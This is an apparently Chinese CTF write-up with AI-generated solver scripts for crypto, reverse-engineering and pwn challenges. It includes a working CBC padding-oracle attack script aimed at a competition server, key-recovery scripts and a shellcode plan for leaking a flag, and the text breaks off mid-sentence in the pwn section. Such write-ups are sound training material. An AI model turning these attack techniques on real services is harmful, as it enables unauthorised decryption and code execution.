把代码给AI,让AI编写解密脚本


from Crypto.Util.number import long_to_bytes as l2b
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
# 给定的数据
n = 278302096557935581738338462024559946959
r = 264579573280920819291511588977260661069
s1 = 157195048165685698821267525173525379816
s2 = 61286613457098845815723227657607632607
# 消息
mes1 = b"If you used the same random number when signing,"
mes2 = b" then you need to be careful."
e1 = int.from_bytes(mes1, 'big')
e2 = int.from_bytes(mes2, 'big')
# 密文
ct = b'\xd1\x7fR\xdaz\x9cT\xb8{\x1b\ts\xbcJ6#\x16n\xcedm\xd6v)\x05A3\x87\xc51\xfc\x9d#\xe5\xf2I@\x91\xc3\x96w\xae]\xc3Uf\xd1\xee'
# 步骤1:计算k
delta_s = (s1 - s2) % n
delta_e = (e1 - e2) % n
delta_s_inv = pow(delta_s, -1, n)
k = (delta_e * delta_s_inv) % n
# 步骤2:计算私钥D
r_inv = pow(r, -1, n)
D = (s1 * k - e1) * r_inv % n
# 步骤3:恢复AES密钥并解密
d = l2b(D)
cipher = AES.new(d, AES.MODE_ECB)
flag = unpad(cipher.decrypt(ct), 16)
print(f"Flag: {flag.decode()}")

共轭迷宫
题目描述:
Alice和Bob通讯时使用了四元数共轭的密钥交换协议
然而聪明的你应该发现:四元数在密码学应用中的优越性是它的乘法不可交换性
但这一题似乎没有很好地发挥这一特性
把附件的代码给GPT,GPT写出解密脚本

# recover_flag.py
from decimal import Decimal, getcontext
# 提取自题目/输出的数值(精确到题目打印的高精度小数)
getcontext().prec = 120
norm_sq = Decimal("15960922284361974605582033637987025644912788")
K_w = Decimal("0.47292225874042030771896799291807799271678994351844")
K_x = Decimal("0.44018598307489329918958641928841974350737975182974")
K_y = Decimal("0.54174915328248053441099670537355485876445440400706")
K_z = Decimal("0.53766968708489053913141352127029842443636489064268")
n = norm_sq.sqrt()
parts = []
for comp in (K_w, K_x, K_y, K_z):
val = (comp * n).to_integral_value(rounding="ROUND_HALF_EVEN")
parts.append(int(val))
# 每部分为 9 字节(原题用的是 9 字节切片)
flag_bytes = b"".join(p.to_bytes(9, 'big') for p in parts)
print("Recovered bytes:", flag_bytes)
try:
print("Recovered flag:", flag_bytes.decode())
except Exception as e:
print("Could not decode as UTF-8:", e)
三重密钥锁
题目描述:
我们设计了一个三重密钥的安全系统,需要同时输入三个短密钥(a,b,c)才能解锁。
验证方程:k*a + m*b + n*c ≡ f (mod p)
其中k,m,n,f已知,且a,b,c都是很短的向量。
你截获了验证参数,能破解这个系统吗?
把附件代码给claude4.5,让它分析并给出解题脚本

#!/usr/bin/env sage
# -*- coding: utf-8 -*-
"""
格密码题目求解 - CVP方法
问题:k*a + m*b + n*c ≡ f (mod p),求短向量 (a, b, c)
"""
def long_to_bytes(n):
if n == 0:
return b'\x00'
bytes_list = []
while n > 0:
bytes_list.append(n & 0xff)
n >>= 8
return bytes(reversed(bytes_list))
print("=" * 70)
print("三重密钥锁破解 - 格密码 CVP 方法")
print("=" * 70)
# 已知参数
p = 10424356578148041779853991789187969944186570125402901113699573185144158488847151089093649435805832723680640302469301322004769382556869280204369016044400623
k = 2016425917343526209264752974016973527106088400191647819396444997081866888816818440804306653900752825844532111319244334210470353279795203950886189568717273
m = 9640575609666038466312358795458735166723157003124018050805657432015561577987823522956739610343817276374800232163184447140344754253531140765054930193240661
n = 8539207304708818916453730202381072788689351891251165656488809155919585187699733568697903825636944248694317545906020707873051567183468920809837554174735591
f = 3760813688323379339493776734416231127517302841171887658445242754803946122769018586447782634756726656702581791734772105099204609201876825961922712387326893
bitsize = 128
print(f"模数 p: {p.nbits()} bits")
print(f"目标: 找到 a, b, c (~{bitsize} bits) 使得 k*a + m*b + n*c ≡ f (mod p)\n")
# 方法1: 直接构造格(不使用权重)
print("[方法1] 标准格构造")
print("=" * 70)
M1 = Matrix(ZZ, [
[1, 0, 0, k],
[0, 1, 0, m],
[0, 0, 1, n],
[0, 0, 0, p]
])
print("[*] 执行 LLL...")
M1_lll = M1.LLL()
print("[*] LLL 完成!\n")
# 寻找满足条件的组合
found = False
target = f
# 尝试线性组合来找到使得第4维等于f的组合
print("[*] 搜索线性组合...")
from itertools import product
# 限制搜索范围
search_range = 20
best_diff = p
best_sol = None
for coeffs in product(range(-search_range, search_range+1), repeat=4):
if all(c == 0 for c in coeffs):
continue
vec = sum(coeffs[i] * M1_lll[i] for i in range(4))
# 检查第4维
if vec[3] % p == f % p:
a, b, c = vec[0], vec[1], vec[2]
if a > 0 and b > 0 and c > 0:
# 验证
result = (k * a + m * b + n * c) % p
if result == f:
print(f"\n✓ 找到解!系数组合: {coeffs}")
print(f"\na = {a}")
print(f"b = {b}")
print(f"c = {c}")
# 恢复flag
try:
flag_bytes = long_to_bytes(a) + long_to_bytes(b) + long_to_bytes(c)
flag = flag_bytes.decode('utf-8', errors='ignore')
print("\n" + "=" * 70)
print(" " * 25 + "FLAG 获取成功!")
print("=" * 70)
print(f"\n🚩 FLAG: {flag}\n")
print("=" * 70)
found = True
break
except:
pass
if not found:
print("\n[方法2] 使用 Babai CVP 算法")
print("=" * 70)
# Babai最近平面算法
def babai_cvp(B, target):
G, mu = B.gram_schmidt()
t = target
for i in reversed(range(B.nrows())):
t = t - round((t * G[i]) / (G[i] * G[i])) * B[i]
return target - t
# 目标向量:我们想要第4维是f
target_vec = vector(ZZ, [0, 0, 0, f])
closest = babai_cvp(M1_lll, target_vec)
diff = target_vec - closest
print(f"最接近的格向量: {closest}")
print(f"差向量: {diff}\n")
a, b, c = diff[0], diff[1], diff[2]
# 尝试不同符号
for sign_a, sign_b, sign_c in product([1, -1], repeat=3):
a_test = sign_a * abs(a)
b_test = sign_b * abs(b)
c_test = sign_c * abs(c)
if a_test > 0 and b_test > 0 and c_test > 0:
result = (k * a_test + m * b_test + n * c_test) % p
if result == f:
print(f"✓ 找到解!")
print(f"\na = {a_test}")
print(f"b = {b_test}")
print(f"c = {c_test}")
try:
flag_bytes = long_to_bytes(a_test) + long_to_bytes(b_test) + long_to_bytes(c_test)
flag = flag_bytes.decode('utf-8', errors='ignore')
print("\n" + "=" * 70)
print(" " * 25 + "FLAG 获取成功!")
print("=" * 70)
print(f"\n🚩 FLAG: {flag}\n")
print("=" * 70)
found = True
break
except:
pass
if not found:
print("\n[方法3] 扩大搜索范围")
print("=" * 70)
# 尝试更大的线性组合
for coeffs in product(range(-100, 101, 5), repeat=4):
if all(c == 0 for c in coeffs):
continue
vec = sum(coeffs[i] * M1_lll[i] for i in range(4))
if vec[3] % p == f:
a, b, c = abs(vec[0]), abs(vec[1]), abs(vec[2])
if 0 < a < 2^(bitsize+10) and 0 < b < 2^(bitsize+10) and 0 < c < 2^(bitsize+10):
result = (k * a + m * b + n * c) % p
if result == f:
print(f"✓ 找到解!系数: {coeffs}")
print(f"\na = {a}")
print(f"b = {b}")
print(f"c = {c}")
try:
flag_bytes = long_to_bytes(a) + long_to_bytes(b) + long_to_bytes(c)
flag = flag_bytes.decode('utf-8', errors='ignore')
print("\n" + "=" * 70)
print(" " * 25 + "FLAG 获取成功!")
print("=" * 70)
print(f"\n🚩 FLAG: {flag}\n")
print("=" * 70)
found = True
break
except:
pass
if found:
break
if not found:
print("\n[!] 所有方法均未成功,尝试打印调试信息...")
print("\nLLL 规约后的基向量:")
for i in range(4):
print(f"v[{i}] = {M1_lll[i]}")

天虫的秘密
题目描述:蚕怎么你了
把附件的代码和服务器上给的信息复制给AI,让AI分析并写出解题脚本


#!/usr/bin/env python3
from pwn import *
import base64
from Crypto.Util.Padding import unpad
HOST = '8.147.132.32'
PORT = 38529
def oracle(conn, data_b64):
try:
conn.recvuntil(b'Enter what you want to try, format: base64(iv+ct)\n', timeout=5)
conn.sendline(data_b64)
response = conn.recvline(timeout=5).strip()
if response.startswith(b"b'") and response.endswith(b"'"):
inner = response[2:-1]
inner = inner.replace(b'\\n', b'\n')
return inner.strip()
elif response.startswith(b'b"') and response.endswith(b'"'):
inner = response[2:-1]
inner = inner.replace(b'\\n', b'\n')
return inner.strip()
else:
return response
except:
return b'ERR3'
def attack_block(conn, prev_block, curr_block):
print(f"[*] 攻击块: {curr_block.hex()}")
intermediate = bytearray(16)
plaintext = bytearray(16)
for pos in range(15, -1, -1):
print(f"[*] 位置 {pos}...", end='', flush=True)
padding_value = 16 - pos
modified_prev = bytearray(prev_block)
for i in range(pos + 1, 16):
modified_prev[i] = intermediate[i] ^ padding_value
candidates = []
for guess in range(256):
modified_prev[pos] = guess
payload = bytes(modified_prev) + curr_block
payload_b64 = base64.b64encode(payload)
response = oracle(conn, payload_b64)
if response == b'OK':
candidates.append(guess)
if len(candidates) == 0:
print(f" 失败!")
return None
elif len(candidates) == 1:
guess = candidates[0]
intermediate[pos] = guess ^ padding_value
plaintext[pos] = intermediate[pos] ^ prev_block[pos]
char = chr(plaintext[pos]) if 32 <= plaintext[pos] < 127 else '?'
print(f" OK [{plaintext[pos]:02x}='{char}']")
else:
print(f" {len(candidates)}个候选: {[hex(c) for c in candidates]}")
verified = False
# 对于最后一个字节(pos=15),需要特殊处理
if pos == 15:
# 尝试每个候选,看哪个能让我们继续破解位置14
for guess in candidates:
test_intermediate = guess ^ padding_value
test_plaintext = test_intermediate ^ prev_block[pos]
# 测试:设置padding=0x02,看能否找到位置14的值
test_prev = bytearray(prev_block)
test_prev[15] = test_intermediate ^ 0x02
# 尝试一些值看是否有OK响应
found_any = False
for test_guess in range(min(20, 256)): # 只测试前20个
test_prev[14] = test_guess
test_payload = bytes(test_prev) + curr_block
test_b64 = base64.b64encode(test_payload)
response = oracle(conn, test_b64)
if response == b'OK':
found_any = True
break
if found_any:
intermediate[pos] = guess ^ padding_value
plaintext[pos] = intermediate[pos] ^ prev_block[pos]
print(f"[+] 选择候选 {hex(guess)}, 明文=[{plaintext[pos]:02x}]")
verified = True
break
else:
# 其他位置的验证
for guess in candidates:
test_prev = bytearray(modified_prev)
test_prev[pos] = guess
test_prev[pos - 1] = (test_prev[pos - 1] + 1) % 256
test_payload = bytes(test_prev) + curr_block
test_b64 = base64.b64encode(test_payload)
response = oracle(conn, test_b64)
if response != b'OK':
intermediate[pos] = guess ^ padding_value
plaintext[pos] = intermediate[pos] ^ prev_block[pos]
print(f"[+] 验证OK [{plaintext[pos]:02x}]")
verified = True
break
if not verified:
guess = candidates[0]
intermediate[pos] = guess ^ padding_value
plaintext[pos] = intermediate[pos] ^ prev_block[pos]
print(f"[+] 用第1个 [{plaintext[pos]:02x}]")
return bytes(plaintext)
def main():
print(f"[*] 连接到 {HOST}:{PORT}")
conn = remote(HOST, PORT)
initial_data = conn.recvline().strip()
print(f"[*] 收到: {initial_data}")
if initial_data.startswith(b"b'") and initial_data.endswith(b"'"):
encrypted_data_b64 = initial_data[2:-1]
elif initial_data.startswith(b'b"') and initial_data.endswith(b'"'):
encrypted_data_b64 = initial_data[2:-1]
else:
encrypted_data_b64 = initial_data
encrypted_data = base64.b64decode(encrypted_data_b64)
print(f"[*] 密文长度: {len(encrypted_data)} 字节")
iv = encrypted_data[:16]
ciphertext = encrypted_data[16:]
blocks = [ciphertext[i:i+16] for i in range(0, len(ciphertext), 16)]
print(f"[*] 共 {len(blocks)} 个块\n")
plaintext_blocks = [None] * len(blocks)
for i in range(len(blocks) - 1, -1, -1):
print(f"[*] ====== 解密块 {i+1}/{len(blocks)} ======")
block = blocks[i]
prev_block = iv if i == 0 else blocks[i-1]
plaintext_block = attack_block(conn, prev_block, block)
if plaintext_block is None:
print(f"[!] 失败")
break
plaintext_blocks[i] = plaintext_block
print(f"[+] 块{i+1}: {plaintext_block.hex()}")
print(f"[+] ASCII: {plaintext_block}\n")
if None not in plaintext_blocks:
full_plaintext = b''.join(plaintext_blocks)
try:
unpadded = unpad(full_plaintext, 16)
print("=" * 60)
print(f"FLAG: {unpadded.decode('utf-8', errors='ignore')}")
print("=" * 60)
except Exception as e:
print(f"原始: {full_plaintext}")
else:
print("[!] 有块解密失败")
conn.close()
if __name__ == '__main__':
main()
运行后等5-10分钟,得到flag

Reverse
NOT_TUI
题目描述:喜欢我的图形化界面吗
1. 题目概述
这是一道Windows逆向题目,程序是一个GUI应用,要求输入正确的flag格式为 flag{32字符} 来通过验证。
2. 程序结构分析
2.1 入口点分析
start() 函数:
__int64 start()
{
unk_1400080A0 = 1;
return sub_140001180();
}
设置全局标志后,调用初始化函数。
2.2 初始化流程
sub_140001180() 负责程序初始化:
- 线程同步处理
- TLS回调
- 异常处理设置
- 命令行参数处理
- 最终调用
sub_1400031E0()
2.3 主函数定位
sub_1400031E0() 是实际的main函数:
__int64 sub_1400031E0()
{
// ... 解析命令行参数 ...
return sub_140001A90(off_140005600, 0i64, v1, wShowWindow);
}
2.4 窗口创建
sub_140001A90() 创建GUI窗口:
__int64 __fastcall sub_140001A90(HINSTANCE a1, __int64 a2, __int64 a3, int a4)
{
WndClass.lpfnWndProc = (WNDPROC)sub_1400015C6; // 窗口过程函数
WndClass.lpszClassName = "F";
// 创建 500x200 的窗口
hWnd = CreateWindowExW(0, "F", "F", 0xCF0000u, 0x80000000, 0x80000000, 500, 200, ...);
// 消息循环
while ( GetMessageW(&Msg, 0i64, 0, 0) ) { ... }
}
关键点:窗口过程函数是 sub_1400015C6(),这里包含核心验证逻辑。
3. 验证逻辑分析
3.1 核心验证函数
sub_1400015C6() 处理按钮点击事件(WM_COMMAND,ID=1002):
// 1. 获取输入并转换为多字节字符
GetWindowTextW(hWnd, String, 100);
WideCharToMultiByte(0, 0, String, -1, MultiByteStr, 100, 0i64, 0i64);
// 2. 格式检查:必须是 flag{...} 格式,总长度38字符
if ( !strncmp(MultiByteStr, "flag{", 5ui64) &&
MultiByteStr[strlen(MultiByteStr) - 1] == 125 )
{
v4 = strlen(MultiByteStr);
v9 = v4 - 6; // 中间内容长度 = 32 字符
if ( v4 != 38 ) { /* 错误 */ }
// 3. 第一步:S-Box替换
for ( i = 0; i < v9; ++i )
Destination[i + 5] = byte_140005000[Destination[i + 5]];
// 4. 第二步:XTEA加密(重叠链式)
for ( j = 0; j < v9 / 4 - 1; ++j )
sub_140001450(&Destination[4 * j + 5]);
// 5. 第三步:与目标密文比较
for ( k = 0; k < v9 / 4; ++k )
{
if ( *(_DWORD *)&Destination[4 * k + 5] != dword_140004040[k] )
{
v11 = 0;
break;
}
}
if ( v11 )
MessageBoxW(hWndParent, L"Correct! You found the right flag!", ...);
}
3.2 验证流程图
输入字符串
↓
格式检查 (flag{...}, 长度38)
↓
提取中间32字符
↓
【加密步骤1】S-Box替换 (每个字符)
↓
【加密步骤2】XTEA加密 (重叠链式,7次)
↓
【验证步骤】与目标密文比较 (8组dword)
↓
成功/失败
4. 加密算法识别
4.1 S-Box替换表
地址:0x140005000

识别:前几个字节 63 7C 77 7B F2... 是 AES标准S-Box!
这是一个经典的字节替换表,用于混淆数据。
4.2 XTEA加密算法
函数:sub_140001450()
_DWORD *__fastcall sub_140001450(unsigned int *a1)
{
v5 = *a1; // v0
v4 = a1[1]; // v1
v3 = 0; // sum
for ( i = 0; i <= 0x71; ++i ) // 114轮 (0到0x71=113)
{
v3 += 1131796; // delta = 0x114514 (特殊常量)
if ( (i & 1) != 0 ) // 奇数轮
{
// 使用密钥2: Paper_Bouquet_Mi
v5 += (v4 + v3) ^ (*(_DWORD *)aPaperBouquetMi + 16 * v4) ^ ((v4 >> 5) + ...);
v4 += (v5 + v3) ^ (*(_DWORD *)&aPaperBouquetMi[8] + 16 * v5) ^ ((v5 >> 5) + ...);
}
else // 偶数轮
{
// 使用密钥1: String_Theocracy
v5 += (v4 + v3) ^ (*(_DWORD *)aStringTheocrac + 16 * v4) ^ ((v4 >> 5) + ...);
v4 += (v5 + v3) ^ (*(_DWORD *)&aStringTheocrac[8] + 16 * v5) ^ ((v5 >> 5) + ...);
}
}
*a1 = v5;
a1[1] = v4;
}
识别特征:
- 基于Feistel结构的分组密码
- delta常量递增
- 左右两部分交替加密
- 这是 XTEA (eXtended TEA) 加密算法的变体
特殊点:
- 114轮(通常XTEA是32轮)
- delta = 0x114514(通常是0x9E3779B9)
- 两组密钥交替(奇偶轮不同)
4.3 密钥数据
密钥1(偶数轮):
地址:0x140004000

密钥2(奇数轮):
地址:0x140004020

4.4 目标密文
地址:0x140004040

共8个dword(32字节),这是验证的目标密文。
4.5 重叠加密模式
关键代码:
for ( j = 0; j < v9 / 4 - 1; ++j )
sub_140001450(&Destination[4 * j + 5]);
v9 = 32(flag中间内容长度)v9 / 4 - 1 = 7(循环7次)- 每次处理的偏移:
4 * j + 5
加密序列:
j=0: 加密 Destination[5:13] (字节0-7)
j=1: 加密 Destination[9:17] (字节4-11) ← 字节4-7已被j=0修改
j=2: 加密 Destination[13:21] (字节8-15) ← 字节8-11已被j=1修改
j=3: 加密 Destination[17:25] (字节12-19)
j=4: 加密 Destination[21:29] (字节16-23)
j=5: 加密 Destination[25:33] (字节20-27)
j=6: 加密 Destination[29:37] (字节24-31)
这是一种 重叠链式加密,每次加密8字节,但起始位置每次只移动4字节,后面的加密依赖前面的结果。
5. 逆向求解策略
5.1 解密思路
由于加密是链式重叠的,解密必须 逆序进行:
从 j=6 开始解密 → j=5 → j=4 → ... → j=0
5.2 解密步骤
- 准备目标密文:将8个dword转换为32字节的字节数组
- 逆向XTEA解密:从j=6到j=0,逐个解密8字节块
- 逆向S-Box替换:构造逆查找表,对32字节进行替换
- 构造flag:添加
flag{...}格式
5.3 XTEA解密算法
def xtea_decrypt(v0, v1, num_rounds=114):
delta = 0x114514
mask = 0xFFFFFFFF
# 计算总的sum值
total_sum = (delta * num_rounds) & mask
# 从最后一轮开始逆向解密
for i in range(num_rounds - 1, -1, -1):
if (i & 1) != 0: # 奇数轮使用KEY2
key = KEY2_INTS
else: # 偶数轮使用KEY1
key = KEY1_INTS
# 解密顺序:先解密v1,再解密v0
v1 = (v1 - ((v0 + total_sum) ^ (key[2] + 16 * v0) ^ ((v0 >> 5) + key[3]))) & mask
v0 = (v0 - ((v1 + total_sum) ^ (key[0] + 16 * v1) ^ ((v1 >> 5) + key[1]))) & mask
# 减少sum
total_sum = (total_sum - delta) & mask
return v0, v1
5.4 逆S-Box替换
# 构造逆S-Box
INV_S_BOX = [0] * 256
for i in range(256):
INV_S_BOX[S_BOX[i]] = i
# 逆替换
def inv_sbox_substitute(data):
result = bytearray()
for byte_val in data:
result.append(INV_S_BOX[byte_val])
return bytes(result)
6. 完整解密脚本
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
FlagChecker 逆向解密脚本
"""
import struct
# AES S-Box
S_BOX = [
0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16
]
# 创建逆S-Box
INV_S_BOX = [0] * 256
for i in range(256):
INV_S_BOX[S_BOX[i]] = i
# 目标密文(8组,每组4字节)
TARGET = [
0x5AF4429C, 0xBAA6B51B, 0x5CDECA1F, 0xAF439534,
0x8B07D489, 0xCC2048AF, 0x957F02B6, 0x9C4988FD
]
# XTEA密钥
KEY1 = b"String_Theocracy" # 偶数轮
KEY2 = b"Paper_Bouquet_Mi" # 奇数轮
# 将密钥转换为4个32位整数
def key_to_ints(key):
return struct.unpack('<4I', key[:16])
KEY1_INTS = key_to_ints(KEY1)
KEY2_INTS = key_to_ints(KEY2)
def xtea_decrypt(v0, v1, num_rounds=114):
"""
XTEA解密函数
"""
delta = 0x114514
mask = 0xFFFFFFFF
# 计算总的sum值
total_sum = (delta * num_rounds) & mask
# 从最后一轮开始逆向解密
for i in range(num_rounds - 1, -1, -1):
if (i & 1) != 0: # 奇数轮使用KEY2
key = KEY2_INTS
else: # 偶数轮使用KEY1
key = KEY1_INTS
# 解密第二部分
v1 = (v1 - ((v0 + total_sum) ^ (key[2] + 16 * v0) ^ ((v0 >> 5) + key[3]))) & mask
# 解密第一部分
v0 = (v0 - ((v1 + total_sum) ^ (key[0] + 16 * v1) ^ ((v1 >> 5) + key[1]))) & mask
# 减少sum
total_sum = (total_sum - delta) & mask
return v0, v1
def inv_sbox_substitute(data):
"""
对数据进行逆S-Box替换
"""
result = bytearray()
for byte_val in data:
result.append(INV_S_BOX[byte_val])
return bytes(result)
def solve_flag():
"""
求解flag
"""
print("="*60)
print("FlagChecker 解密脚本")
print("="*60)
# 将目标密文转换为字节数组(32字节)
encrypted = bytearray()
for dword in TARGET:
encrypted.extend(struct.pack('<I', dword))
print(f"\n[1] 目标密文: {encrypted.hex()}")
# 逆向XTEA解密(从j=6到j=0)
print(f"\n[2] 开始逆向XTEA解密(7轮重叠链式)...")
for j in range(6, -1, -1):
offset = 4 * j
block = encrypted[offset:offset+8]
v0, v1 = struct.unpack('<2I', block)
# XTEA解密
dec_v0, dec_v1 = xtea_decrypt(v0, v1)
# 写回
encrypted[offset:offset+8] = struct.pack('<2I', dec_v0, dec_v1)
print(f" j={j} 解密完成")
print(f"\n[3] XTEA解密完成: {encrypted.hex()}")
# 逆S-Box替换
flag_content = inv_sbox_substitute(encrypted)
print(f"\n[4] 逆S-Box替换后: {flag_content.hex()}")
print(f" ASCII: {flag_content.decode('ascii', errors='replace')}")
# 构造完整的flag
flag = b"flag{" + flag_content + b"}"
print(f"\n" + "="*60)
print(f"【解密成功】")
print(f"Flag: {flag.decode('ascii')}")
print(f"="*60)
return flag
if __name__ == "__main__":
flag = solve_flag()
7. 执行结果并进行验证


ezrust
题目描述:来点我最爱的rust
1. 静态分析
1.1 Main函数分析
int __fastcall main(int argc, const char **argv, const char **envp)
{
char v4;
__int64 (__fastcall *v5)();
v5 = sub_140001DD0; // 核心函数指针
v4 = 0;
return sub_140004620(&v5, &unk_14001B780, argc, argv, v4);
}
1.2 核心函数 sub_140001DD0 分析
- 输入验证:
- 提示:
"Enter your flag: " - 要求输入长度必须为 40 字节
- 提示:
- 加密算法识别:
- 找到常量字符串:
"expand 32-byte k"→ ChaCha20标准常量 - 发现10轮加密循环
- 使用SSE指令进行向量运算
- 找到常量字符串:
- 密钥材料提取:
// v64 初始化
qmemcpy(v64, "expand 32-byte kString_Theocracy", sizeof(v64));
// v65 从内存加载
v65 = _mm_loadu_si128((const __m128i *)&xmmword_14001B600);
Nonce提取:
v71.m128i_i32[0] = 0;
qmemcpy((char *)v71.m128i_i64 + 4, "NewStar 2025", 12);
验证逻辑:
if ( !memcmp(v21, &unk_14001B6F0, 0x28ui64) )
// 成功: "Congratulations! You found the correct flag!"
else
// 失败: "Wrong flag! Try again!"
2. 关键数据提取
2.1 密钥构成(32字节)
- 地址 0x14001B600 的16字节数据(小端序):

解码为:"ycarcoehT_gnirtS" (即 “String_Theocracy” 反转)
- 完整密钥:
- Part 1:
String_Theocracy(16字节) - Part 2:
ycarcoehT_gnirtS(16字节) - Hex:
537472696e675f5468656f637261637979636172636f6568545f676e69727453
- Part 1:
2.2 Nonce(12字节)
NewStar 2025
Hex: 4e6577537461722032303235
2.3 目标密文(40字节,地址 0x14001B6F0)

3. 完整解密脚本
#!/usr/bin/env python3
from Crypto.Cipher import ChaCha20
# 密文
ciphertext = bytes([
0xA3, 0x62, 0x58, 0xDB, 0x4B, 0x82, 0x4F, 0xCE,
0x48, 0xDA, 0xBE, 0x42, 0x1C, 0xD8, 0x59, 0x6B,
0xC7, 0xB2, 0xCA, 0x02, 0x0B, 0x21, 0x6B, 0x10,
0x4D, 0x4E, 0x7B, 0xEB, 0xCE, 0x9F, 0xFB, 0x21,
0xE9, 0xCF, 0x6B, 0xC2, 0xC2, 0x4C, 0xB3, 0x4D
])
# 密钥(32字节)
key = b"String_Theocracy" + bytes.fromhex("79636172636F6568545F676E69727453")
# Nonce(12字节)
nonce = b"NewStar 2025"
# 解密
cipher = ChaCha20.new(key=key, nonce=nonce)
plaintext = cipher.decrypt(ciphertext)
print(f"Flag: {plaintext.decode()}")

Pwn
memory
题目描述:我忘记了flag,你能帮我找到flag吗
1. 程序分析
1.1 main 函数伪代码
int main(int argc, const char **argv, const char **envp) {
char *s;
size_t v5;
ssize_t n;
__int64 buf[64];
init(argc, argv, envp);
memset(buf, 0, sizeof(buf));
// 1. 读取 flag 文件到内存
s = (char *)read_flag("/flag", argv, v9);
v5 = strlen(s);
// 2. 在 flag 末尾添加 3 字节机器码
s[v5] = 0x48; // xor rax, rax 指令
s[v5 + 1] = 0x31;
s[v5 + 2] = 0xC0;
// 3. 提示用户输入
puts("I forgot the flag.");
puts("Can you find it?");
printf(" > ");
// 4. 读取用户输入(最多 0x200 字节)
n = read(0, buf, 0x200uLL);
if (!n) {
perror("read");
exit(1);
}
// 5. 将用户输入复制到 s[v5+3]
memcpy(&s[v5 + 3], buf, n);
// 6. 设置内存为可读可执行
if (mprotect(s, 0x1000uLL, 5) == -1) { // PROT_READ | PROT_EXEC
perror("mprotect");
exit(1);
}
// 7. 安装 seccomp 沙箱
install_seccomp();
// 8. 跳转到 s 地址执行
__asm { jmp rax }
return result;
}
1.2 read_flag 函数
void *read_flag(const char *a1) {
int fd;
void *v3;
// 打开文件
fd = open(a1, 0);
if (fd < 0) {
perror("Can't open flag file: ");
exit(1);
}
// 使用 mmap 将文件映射到内存
v3 = mmap(0LL, 0x1000uLL, 3, 2, fd, 0LL); // PROT_READ|PROT_WRITE, MAP_PRIVATE
if (v3 == (void *)-1LL) {
perror("mmap");
exit(1);
}
close(fd);
return v3;
}
关键点:
- 使用
mmap将 flag 文件映射到内存 - 初始权限为 RW (读写)
- 映射大小为 0x1000 (4096 字节)
1.3 install_seccomp 函数
unsigned __int64 install_seccomp() {
__int16 v1;
void *v2;
v1 = 9;
v2 = &filter_3801;
// 设置 NO_NEW_PRIVS
if (prctl(38, 1LL, 0LL, 0LL, 0LL) < 0) {
perror("prctl(PR_SET_NO_NEW_PRIVS)");
exit(2);
}
// 安装 seccomp 过滤器
if (prctl(22, 2LL, &v1) < 0) {
perror("prctl(PR_SET_SECCOMP)");
exit(2);
}
return ...;
}
关键点:
- 安装了 seccomp 规则限制系统调用
- 通常
write和exit是允许的
2. 内存布局分析
程序执行时,内存布局如下:
低地址
┌──────────────────────────────┐
│ flag 内容 │ <- s (rax 指向这里)
│ "flag{xxx...xxx}\n" │ 程序从这里开始执行
│ (长度约 30-50 字节) │
├──────────────────────────────┤
│ 0x48 (xor rax, rax 第1字节) │ <- s[v5]
│ 0x31 (xor rax, rax 第2字节) │ <- s[v5+1]
│ 0xC0 (xor rax, rax 第3字节) │ <- s[v5+2]
├──────────────────────────────┤
│ 用户输入的 shellcode │ <- s[v5+3]
│ (最多 0x200 = 512 字节) │ 我们控制的区域
│ │
└──────────────────────────────┘
高地址
3. 解题思路
3.1 核心思想
程序会从地址 s 开始执行,这意味着:
- 首先”执行” flag 内容(虽然不是有效机器码,但 CPU 会尝试解释)
- 然后执行
xor rax, rax指令 - 最后执行我们的 shellcode
关键发现:flag 就在内存中,位于我们 shellcode 的前面
3.2 攻击策略
既然 flag 在内存中且位置已知(相对位置),我们的 shellcode 只需要:
- 定位 flag:从当前位置向前搜索 “flag{” 字符串
- 计算长度:找到 flag 的结束位置(
}或换行符) - 输出 flag:使用
